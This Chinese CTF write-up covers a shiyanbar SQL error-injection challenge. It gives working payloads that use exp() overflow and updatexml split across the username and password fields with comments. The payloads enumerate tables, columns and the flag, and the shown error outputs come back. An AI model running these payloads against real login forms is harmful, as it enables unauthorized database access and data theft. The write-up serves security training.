实验吧 加了料的报错注入

解题链接: http://ctf5.shiyanbar.com/web/baocuo/index.php
在这里插入图片描述
SQL查询源码:

<!-- $sql="select * from users where username='$username' and password='$password'";  -->

解题步骤与思路:
1)刷新页面Burpsuite抓取数据包
2)根据Tips,修改GET为POST
注意GET请求和POST请求包头的区别
否则参数传递不到后台。
在这里插入图片描述
在这里插入图片描述
2.1)GET请求:

Content-Type: application/json

2.2)POST请求:

Content-Type:application/x-www-form-urlencoded

3)构造字典扫一下注入点过滤了哪些关键字:
在这里插入图片描述
在这里插入图片描述
3.1)username的注入点:
(),会提醒User name unknow error.
-#:=被过滤
floor函数被过滤,其他报错函数正常

3.2)password的注入点:
-#:=被过滤
只有exp和name_const正常,其他报错函数被过滤

4)两种思路:
4.1)password处既可以用(),又可以用exp函数,具备了报错注入的条件。可以利用exp报错注入得到flag
第一种思路:
exp函数的报错公式select exp(~(select*from(select user())x)),select user()替换为相应的报错语句,
exp函数的用法解析参考:http://netsecurity.51cto.com/art/201508/489529.htm

报表名:
username=’ or’1&password=‘or (select exp(~(select*from(select group_concat(table_name) from information_schema.tables where table_schema regexp database())x))) or’
得到
DOUBLE value is out of range in ‘exp(~((select ‘ffll44jj,users’ from dual)))’

报列名:
username=’ or’1&password=‘or (select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name regexp ‘ffll44jj’)x))) or’
得到
DOUBLE value is out of range in ‘exp(~((select ‘value’ from dual)))’

也可以用in
username=’ or’1&password=‘or (select exp(~(select*from(select group_concat(column_name) from information_schema.columns where table_name in(‘ffll44jj’))x))) or’

报内容:
username=’ or’1&password=‘or (select exp(~(select*from(select value from ffll44jj)x))) or’
得到flag
在这里插入图片描述

4.2)在username处可以用报错函数,()被过滤。在password处可以用(),报错函数被过滤。
sql注入里有一种就叫http分割注入,在不同的参数之间进行分割,到了数据库执行查询时再合并语句。
出题人的意图就是左边不能出现括号,右边不能出现报错函数名。
利用sql注释符拼接SQL语句
在这里插入图片描述

payload:

username=' or updatexml/*&password=*/(1,concat(0x3a,(select user())),1) or '

这里username最后为 /* 而password最前面为*/ 在拼接的时候就实现了/* */注释功能.

先试出一些WAF:
substr mid left right union limit like
由于不能等号、like,于是借用regexp或者in代替等号,这里给的payload借用了regexp

第二种思路:
select database(); #查选数据库
select group_concat(schema_name) from information_schema.schemata;#查询数据库
select schema_name from information_schema.schemata limit 0,1 #查询数据库
select group_concat(table_name) from information_schema.tables where table_schema=database();#查询表
select table_name from information_schema.tables where table_schema=database() limit 0,1; #查询表
select column_name from information_schema.columns where table_name=‘users’ limit 0,1; #查询列
报错函数updataxml的公式:

http://www.******.cn/sql.php?id=1+and updatexml(1,concat(0x7e,(select database()),0x7e),1)

select database()换成报错语句即可

报表名:
username=’ or updatexml/&password=/(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema regexp database()),0x7e),1) or’
得到
XPATH syntax error: ‘ffll44jj,users

报列名:
username=’ or updatexml/&password=/(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name regexp ‘ffll44jj’),0x7e),1) or’
得到
XPATH syntax error: ‘value

报内容:
username=’ or updatexml/&password=/(1,concat(0x7e,(select value from ffll44jj),0x7e),1) or’
得到flag
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_41594045/article/details/83514681